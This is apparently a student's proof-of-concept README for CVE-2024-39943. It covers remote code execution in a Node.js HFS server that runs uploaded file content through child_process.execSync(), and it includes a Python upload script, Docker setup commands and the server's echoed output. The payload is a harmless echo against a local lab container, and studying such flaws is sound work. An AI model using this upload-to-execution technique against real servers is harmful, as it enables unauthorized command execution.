
Proof-of-concept exploit for CVE-2024-39943, demonstrating remote code execution via file upload in a Node.js HFS server using child_process.execSync().
White Hat School 3rd – Jeongmin Noh (@JenmrR)
In a Node.js-based HFS server environment, there is a vulnerability where the content of an uploaded file is executed via child_process.execSync().
An attacker can directly execute OS commands through the file upload feature, and can check the results of internal server commands or control the system.
This vulnerability corresponds to CVE-2024-39943 and poses a threat equivalent to command injection (Remote Code Execution).
/upload path and executes the uploaded file content as a command$ sudo docker-compose up --build -d
$ python3 poc.py
import requests
payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }
r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
Server response after PoC execution:
Executed:
Hello_From_Hacked_Server

execSync() poses a serious security risk.